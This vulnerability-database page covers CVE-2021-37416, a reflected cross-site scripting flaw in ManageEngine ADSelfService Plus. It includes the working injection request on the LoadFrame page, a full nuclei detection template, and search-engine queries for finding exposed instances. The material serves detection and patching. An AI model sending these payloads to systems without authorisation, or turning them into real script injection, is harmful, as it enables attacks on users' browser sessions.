HexBrain

Browse / CVEs / CVE-2021-37416

CVE-2021-37416· zohocorp / manageengine adselfservice plus· CWE-79

Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.

Fix

Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Positive when: contains in header "text/html" AND contains "></iframe><script>alert(1)</script>" and "adsf/js/" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37416 -u <target>

The full check
id: CVE-2021-37416

info:
  name: Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416
    - https://blog.stmcyber.com/vulns/cve-2021-37416/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37416
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37416
    cwe-id: CWE-79
    epss-score: 0.02934
    epss-percentile: 0.87208
    cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_adselfservice_plus
    shodan-query:
      - http.title:"ManageEngine"
      - http.title:"adselfservice plus"
      - http.title:"manageengine"
    fofa-query:
      - title="manageengine"
      - title="adselfservice plus"
    google-query:
      - intitle:"adselfservice plus"
      - intitle:"manageengine"
  tags: cve2021,cve,zoho,xss,zohocorp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "></iframe><script>alert(1)</script>"
          - "adsf/js/"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from